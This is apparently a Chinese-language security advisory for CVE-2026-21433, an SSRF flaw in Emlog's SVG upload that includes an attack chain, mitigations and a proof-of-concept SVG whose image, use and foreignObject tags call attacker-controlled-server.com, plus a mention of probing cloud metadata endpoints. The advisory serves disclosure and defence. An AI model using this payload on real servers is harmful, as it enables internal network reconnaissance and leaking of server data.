CVE-2026-21433 CVSS 7.7 高危

CVE-2026-21433 Emlog SVG文件上传导致SSRF漏洞

披露日期: 2026-01-02

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-21433

漏洞类型

服务器端请求伪造(SSRF)

CVSS评分

7.7 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Emlog

漏洞概述

Emlog是一款开源网站构建系统，在其2.5.19及之前版本中存在严重的服务器端请求伪造(SSRF)和带外(OOB)请求漏洞。漏洞源于系统对用户上传的SVG文件处理不当，当服务器对SVG文件进行缩略图生成、预览或清理操作时，会自动解析并请求SVG文件中引用的外部资源。攻击者可利用此漏洞上传包含恶意外部资源引用的SVG文件，诱导服务器向攻击者控制的外部主机发起HTTP请求，从而实现对内网资源的探测、敏感元数据获取以及潜在凭据泄露。该漏洞无需高权限即可利用，攻击复杂度低，且无需用户交互即可触发。

技术细节

漏洞根源在于Emlog的媒体文件上传功能(/admin/media.php)缺乏对SVG文件内容的安全验证。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式，支持通过<use>、<image>、<script>等标签引用外部资源。攻击者构造包含恶意外部资源引用的SVG文件上传至服务器，当服务器调用图像处理函数(如GD库、ImageMagick等)对SVG进行缩略图生成或预览渲染时，这些库会解析SVG的外部引用并发起HTTP请求。攻击者可注册与SVG中引用域名相同的服务器，捕获服务器发出的请求，获取服务器的公网IP、内部网络配置等信息。进一步可利用这些信息进行内网横向移动或探测云服务元数据接口(如AWS 169.254.169.254)。

攻击链分析

STEP 1

步骤1

攻击者注册外部域名并配置监听服务器，捕获来自目标服务器的HTTP请求

STEP 2

步骤2

攻击者使用低权限账号登录Emlog后台，访问/admin/media.php上传页面

STEP 3

步骤3

上传包含外部资源引用(URL)的恶意构造SVG文件

STEP 4

步骤4

系统自动触发SVG处理流程(缩略图生成、预览或内容清理)

STEP 5

步骤5

服务器端图像处理库解析SVG并发起HTTP请求到攻击者控制的服务器

STEP 6

步骤6

攻击者收集服务器公网IP、User-Agent等敏感信息，用于进一步内网探测

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2026-21433 PoC: Malicious SVG for SSRF -->
<!-- Upload this SVG file via /admin/media.php -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
  <!-- External resource reference for SSRF -->
  <image href="http://attacker-controlled-server.com/collect" width="100" height="100"/>
  
  <!-- Alternative: Use use element with external reference -->
  <use href="http://attacker-controlled-server.com/internal-probe"/>
  
  <!-- Trigger request during SVG parsing -->
  <foreignObject width="1" height="1">
    <img xmlns="http://www.w3.org/1999/xhtml" src="http://attacker-controlled-server.com/leak"/>
  </foreignObject>
</svg>

<!-- Server-side request will be made to attacker server when SVG is processed -->

影响范围

Emlog <= 2.5.19

防御指南

临时缓解措施

临时禁用SVG文件上传功能，或将上传目录设置为不可执行。对现有SVG文件进行安全审查，移除其中的外部资源引用。配置服务器防火墙规则，限制出站HTTP/HTTPS请求仅允许访问必要的白名单域名。建议使用Content-Security-Policy响应头限制页面资源加载行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表